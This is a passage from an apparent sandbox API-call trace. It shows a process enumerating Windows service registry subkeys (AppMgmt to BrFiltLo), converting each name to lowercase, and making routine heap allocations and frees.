Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.224] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.224] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.224] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.224] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0238.224] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.224] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0238.224] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.224] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.224] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.224] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.224] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0238.224] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0238.224] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0238.224] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.224] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.224] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.224] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.224] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0238.225] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0238.225] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0238.225] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.225] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.225] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.225] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.225] RegEnumKeyW (in: hKey=0x150, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0238.225] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.225] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0238.225] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.225] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.225] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.225] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.225] RegEnumKeyW (in: hKey=0x150, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0238.225] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0238.225] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1da8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0238.225] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.225] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.225] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.225] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.225] RegEnumKeyW (in: hKey=0x150, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0238.225] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0238.225] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a48, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0238.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.226] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.226] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.226] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.226] RegEnumKeyW (in: hKey=0x150, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0238.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0238.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.226] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.226] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.226] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.226] RegEnumKeyW (in: hKey=0x150, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0238.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0238.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0238.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.226] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.226] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.226] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.226] RegEnumKeyW (in: hKey=0x150, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0238.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0238.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1da8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0238.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.226] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.226] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.226] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.226] RegEnumKeyW (in: hKey=0x150, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0238.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0238.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.227] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.227] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.227] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.227] RegEnumKeyW (in: hKey=0x150, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0238.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0238.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.227] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.227] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.227] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.227] RegEnumKeyW (in: hKey=0x150, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0238.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0238.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.227] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.227] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.227] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.227] RegEnumKeyW (in: hKey=0x150, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0238.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0238.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.228] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.228] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.228] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.228] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0238.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0238.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0238.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.228] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.228] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.228] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.228] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0238.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0238.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0238.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.228] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.228] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.228] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.228] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0238.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0238.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0238.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.228] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.228] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.228] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.229] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0238.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0238.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1da8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0238.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.229] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.229] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.229] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.229] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0238.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0238.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0238.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.229] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.229] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.229] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.229] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0238.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0238.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.229] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.229] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.229] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.229] RegEnumKeyW (in: hKey=0x150, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0238.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0238.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0238.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.230] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.230] RegEnumKeyW (in: hKey=0x150, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0238.230] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 